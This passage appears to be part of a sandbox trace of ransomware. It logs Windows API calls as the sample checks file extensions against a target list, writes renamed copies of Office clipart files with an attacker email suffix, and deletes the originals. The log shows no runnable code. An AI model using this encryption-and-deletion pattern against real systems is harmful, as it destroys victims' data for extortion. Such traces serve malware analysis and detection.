(lpString=".docx") returned 5 [0204.835] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0204.835] lstrlenW (lpString=".pdf") returned 4 [0204.835] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.835] lstrlenW (lpString=".xls") returned 4 [0204.835] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.835] lstrlenW (lpString=".xlsx") returned 5 [0204.835] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0204.835] lstrlenW (lpString=".ppt") returned 4 [0204.835] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0204.835] lstrlenW (lpString=".zip") returned 4 [0204.835] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.835] lstrlenW (lpString=".rar") returned 4 [0204.835] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.836] lstrlenW (lpString=".bz2") returned 4 [0204.836] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.836] lstrlenW (lpString=".7z") returned 3 [0204.836] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0204.836] lstrlenW (lpString=".dbf") returned 4 [0204.836] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0204.836] lstrlenW (lpString=".1cd") returned 4 [0204.836] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0204.836] lstrlenW (lpString=".jpg") returned 4 [0204.836] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.836] lstrcmpiW (lpString1=".BMP", lpString2=".kr") returned -1 [0204.836] lstrlenW (lpString="J0101866.BMP") returned 12 [0204.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0204.837] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=32184) returned 1 [0204.837] CloseHandle (hObject=0x51c) returned 1 [0204.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 0x220 [0204.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0204.837] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.838] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0204.838] GetLastError () returned 0x0 [0204.838] ReadFile (in: hFile=0x51c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0204.841] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0204.842] ReadFile (in: hFile=0x51c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0204.842] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0204.842] SetEndOfFile (hFile=0x410) returned 1 [0204.842] CloseHandle (hObject=0x410) returned 1 [0204.842] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.842] SetEndOfFile (hFile=0x51c) returned 1 [0204.846] CloseHandle (hObject=0x51c) returned 1 [0204.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 1 [0205.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0205.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0205.269] lstrlenW (lpString=".doc") returned 4 [0205.269] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0205.269] lstrlenW (lpString=".docx") returned 5 [0205.269] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0205.269] lstrlenW (lpString=".pdf") returned 4 [0205.269] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0205.269] lstrlenW (lpString=".xls") returned 4 [0205.269] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0205.269] lstrlenW (lpString=".xlsx") returned 5 [0205.269] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0205.269] lstrlenW (lpString=".ppt") returned 4 [0205.269] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0205.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0205.269] lstrlenW (lpString=".zip") returned 4 [0205.269] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0205.270] lstrlenW (lpString=".rar") returned 4 [0205.270] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0205.270] lstrlenW (lpString=".bz2") returned 4 [0205.270] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0205.270] lstrlenW (lpString=".7z") returned 3 [0205.270] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0205.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0205.270] lstrlenW (lpString=".dbf") returned 4 [0205.270] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0205.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0205.270] lstrlenW (lpString=".1cd") returned 4 [0205.270] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0205.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0205.270] lstrlenW (lpString=".jpg") returned 4 [0205.270] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0205.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0205.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0205.270] lstrlenW (lpString=".doc") returned 4 [0205.270] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0205.270] lstrlenW (lpString=".docx") returned 5 [0205.270] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0205.270] lstrlenW (lpString=".pdf") returned 4 [0205.270] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0205.270] lstrlenW (lpString=".xls") returned 4 [0205.270] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0205.270] lstrlenW (lpString=".xlsx") returned 5 [0205.270] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0205.270] lstrlenW (lpString=".ppt") returned 4 [0205.270] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0205.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0205.271] lstrlenW (lpString=".zip") returned 4 [0205.271] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0205.271] lstrlenW (lpString=".rar") returned 4 [0205.271] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0205.271] lstrlenW (lpString=".bz2") returned 4 [0205.271] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0205.271] lstrlenW (lpString=".7z") returned 3 [0205.271] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0205.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0205.271] lstrlenW (lpString=".dbf") returned 4 [0205.271] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0205.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0205.271] lstrlenW (lpString=".1cd") returned 4 [0205.271] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0205.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0205.271] lstrlenW (lpString=".jpg") returned 4 [0205.271] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0205.271] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.271] lstrlenW (lpString="J0103262.WMF") returned 12 [0205.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0205.272] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=12900) returned 1 [0205.272] CloseHandle (hObject=0x520) returned 1 [0205.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 0x220 [0205.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0205.273] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.273] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0205.274] GetLastError () returned 0x0 [0205.274] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x3264, lpOverlapped=0x0) returned 1 [0205.326] WriteFile (in: hFile=0x574, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x3270, lpOverlapped=0x0) returned 1 [0205.329] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0205.329] WriteFile (in: hFile=0x574, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0205.329] SetEndOfFile (hFile=0x574) returned 1 [0205.329] CloseHandle (hObject=0x574) returned 1 [0205.329] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.329] SetEndOfFile (hFile=0x520) returned 1 [0205.346] CloseHandle (hObject=0x520) returned 1 [0205.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 1 [0205.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0205.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0205.366] lstrlenW (lpString=".doc") returned 4 [0205.366] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.366] lstrlenW (lpString=".docx") returned 5 [0205.366] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0205.366] lstrlenW (lpString=".pdf") returned 4 [0205.366] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.366] lstrlenW (lpString=".xls") returned 4 [0205.366] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.366] lstrlenW (lpString=".xlsx") returned 5 [0205.366] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0205.366] lstrlenW (lpString=".ppt") returned 4 [0205.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0205.366] lstrlenW (lpString=".zip") returned 4 [0205.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.366] lstrlenW (lpString=".rar") returned 4 [0205.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.366] lstrlenW (lpString=".bz2") returned 4 [0205.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.366] lstrlenW (lpString=".7z") returned 3 [0205.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0205.366] lstrlenW (lpString=".dbf") returned 4 [0205.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0205.366] lstrlenW (lpString=".1cd") returned 4 [0205.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0205.367] lstrlenW (lpString=".jpg") returned 4 [0205.367] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0205.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0205.367] lstrlenW (lpString=".doc") returned 4 [0205.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.367] lstrlenW (lpString=".docx") returned 5 [0205.367] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0205.367] lstrlenW (lpString=".pdf") returned 4 [0205.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.367] lstrlenW (lpString=".xls") returned 4 [0205.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.367] lstrlenW (lpString=".xlsx") returned 5 [0205.367] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0205.367] lstrlenW (lpString=".ppt") returned 4 [0205.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0205.367] lstrlenW (lpString=".zip") returned 4 [0205.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.367] lstrlenW (lpString=".rar") returned 4 [0205.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.367] lstrlenW (lpString=".bz2") returned 4 [0205.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.367] lstrlenW (lpString=".7z") returned 3 [0205.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0205.367] lstrlenW (lpString=".dbf") returned 4 [0205.367] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0205.367] lstrlenW (lpString=".1cd") returned 4 [0205.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0205.368] lstrlenW (lpString=".jpg") returned 4 [0205.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.368] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.368] lstrlenW (lpString="J0103812.WMF") returned 12 [0205.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0205.437] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=5908) returned 1 [0205.437] CloseHandle (hObject=0x54c) returned 1 [0205.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 0x220 [0205.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0205.438] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.438] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0205.438] GetLastError () returned 0x0 [0205.438] ReadFile (in: hFile=0x54c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1714, lpOverlapped=0x0) returned 1 [0205.440] WriteFile (in: hFile=0x520, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1720, lpOverlapped=0x0) returned 1 [0205.441] ReadFile (in: hFile=0x54c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0205.441] WriteFile (in: hFile=0x520, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0205.441] SetEndOfFile (hFile=0x520) returned 1 [0205.441] CloseHandle (hObject=0x520) returned 1 [0205.442] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.442] SetEndOfFile (hFile=0x54c) returned 1 [0205.444] CloseHandle (hObject=0x54c) returned 1 [0205.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.445] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 1 [0205.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0205.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0205.445] lstrlenW (lpString=".doc") returned 4 [0205.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.445] lstrlenW (lpString=".docx") returned 5 [0205.445] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0205.445] lstrlenW (lpString=".pdf") returned 4 [0205.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.445] lstrlenW (lpString=".xls") returned 4 [0205.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.446] lstrlenW (lpString=".xlsx") returned 5 [0205.446] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0205.446] lstrlenW (lpString=".ppt") returned 4 [0205.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0205.446] lstrlenW (lpString=".zip") returned 4 [0205.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.446] lstrlenW (lpString=".rar") returned 4 [0205.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.446] lstrlenW (lpString=".bz2") returned 4 [0205.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.446] lstrlenW (lpString=".7z") returned 3 [0205.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0205.446] lstrlenW (lpString=".dbf") returned 4 [0205.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0205.446] lstrlenW (lpString=".1cd") returned 4 [0205.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0205.446] lstrlenW (lpString=".jpg") returned 4 [0205.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0205.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0205.446] lstrlenW (lpString=".doc") returned 4 [0205.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.446] lstrlenW (lpString=".docx") returned 5 [0205.446] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0205.446] lstrlenW (lpString=".pdf") returned 4 [0205.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.447] lstrlenW (lpString=".xls") returned 4 [0205.447] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.447] lstrlenW (lpString=".xlsx") returned 5 [0205.447] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0205.447] lstrlenW (lpString=".ppt") returned 4 [0205.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.447] lstrlenW 